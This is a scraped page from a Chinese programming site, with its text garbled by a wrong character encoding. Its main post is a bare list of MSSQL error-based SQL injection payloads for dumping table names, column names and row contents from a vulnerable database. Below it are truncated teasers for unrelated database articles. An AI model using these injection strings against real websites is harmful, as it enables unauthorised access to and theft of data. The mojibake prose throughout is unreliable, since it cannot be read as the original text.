Ò׽ؽØÍ¼Èí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

¼¸Ìõ¼òµ¥µÄMSSQL±©±íÓï¾ä

//±©±í
and 1=(select top 1 quotename(name) from sysobjects where xtype=CHAR(85) and name not in (select top N name from sysobjects where xtype=CHAR(85)))
//±©×Ö¶Î
and 1=(select quotename(col_name(object_id('±í'),N)))
//±©ÄÚÈÝ
and 1=(select top 1 quotename(×Ö¶Î) from ±í where ×Ö¶Î not in (select top N ×Ö¶Î from ±í))
//±©µ±Ç°±íÃû
having 1=1 --
//±©µ±Ç°±íµÄÆäËüÁÐ
group by table_name.column1,table_name.column2 having 1=1 --


Ïà¹ØÎĵµ£º

ͼÎÄÏê½âSilverlight·ÃÎÊMSSQLÊý¾Ý¿â

ÔÚÒø¹âÖйúÍø£¨SilverlightChina.Net£©ÓÐһƪ"SilverlightÓë³£ÓÃÊý¾Ý¿â»¥²Ù×÷ϵÁÐ"ÎÄÕ£¬ÆäÖнéÉÜÁËʹÓÃSilverlight´æÈ¡²»Í¬Êý¾Ý¿âµÄ·½·¨ºÍ²½Öè¡£µ«ÊǶÔÓÚSilverlight´æÈ¡MS SQL½éÉܵIJ»¹»È«Ã棬ÕâÀïÎÒÏë½éÉÜSilverlightÈçºÎͨ¹ýWCF·ÃÎÊMSSQLÊý¾Ý¿â´æ´¢¹ý³ÌµÄ¡£Ï£Íû¶Ô´ó¼ÒÄܹ»ÓÐËù°ïÖú¡£
ÎÒÃÇҪʵÏÖ£¬ Óû§ÊäÈëÓû§ÃûºÍÃÜ ......

MSSQLÈÕÖ¾Îļþ¼°Æä´¦ÀíÏê½â


ÈçºÎÇå³ýMSSQLÊÂÎñÈÕÖ¾Îļþ
   ÈýÖÖ·½·¨£º  
    
1¡¢É¾³ýLOG  
    
   1)£º·ÖÀëÊý¾Ý¿âÆóÒµ¹ÜÀíÆ÷£­£¾·þÎñÆ÷£­£¾Êý¾Ý¿â£­£¾ÓÒ¼ü£­£¾·ÖÀëÊý¾Ý¿â      
   2)£ºÉ¾³ýLOGÎļþ  & ......

C#ʹÓÃSQLDMOʵÏÖ¶ÔMSSQLÊý¾Ý¿â½øÐб¸·ÝºÍ»Ö¸´

public sealed class DbOper
{
     ///<summary>
     /// DbOperÀàµÄ¹¹Ô캯Êý
     ///</summary>
     private DbOper()
     {
     }
     ......

Linux»·¾³µÄAMP°²×° MSSQLÀ©Õ¹°²×°


LinuxÒª°²×°mssqlÀ©Õ¹£¬±ØÐëÊ×ÏȰ²×°freetds£¬°²×°¹ý³ÌÈçÏ£º
1¡¢¼ÙÉèÔ´ÎļþĿ¼Ϊ/webServ£¬°²×°Ä¿Â¼Îª/opt/freetds¡£
1) >cd /webServ
2) ÏÂÔØ£¬ >wget ftp://ftp.ibiblio.org/pub/Linux/ALPHA/freetds/stable/freetds-stable.tgz
3) ½âѹ£¬ >tar -zxvf freetds-stable.tgz
4) ½øÈ룬 >cd freetds-0¡£ ......

MSSQLÓÅ»¯Ö®Ë÷ÒýÓÅ»¯

Ò»¡¢ÈÏʶË÷Òý
¡¡¡¡(Ò»)ÉîÈëdz³öÀí½âË÷Òý½á¹¹
¡¡¡¡Êµ¼ÊÉÏ£¬Äú¿ÉÒÔ°ÑË÷ÒýÀí½âΪһÖÖÌØÊâµÄĿ¼¡£Î¢ÈíµÄSQL SERVERÌṩÁËÁ½ÖÖË÷Òý£º¾Û¼¯Ë÷Òý(clustered index£¬Ò²³Æ¾ÛÀàË÷Òý¡¢´Ø¼¯Ë÷Òý)ºÍ·Ç¾Û¼¯Ë÷Òý(nonclustered index£¬Ò²³Æ·Ç¾ÛÀàË÷Òý¡¢·Ç´Ø¼¯Ë÷Òý)¡£ÏÂÃæ£¬ÎÒÃǾÙÀýÀ´ËµÃ÷һϾۼ¯Ë÷ÒýºÍ·Ç¾Û¼¯Ë÷ÒýµÄÇø±ð£º
¡¡¡¡Æäʵ£¬ÎÒà ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØÍ¼ | ¸ÓICP±¸09004571ºÅ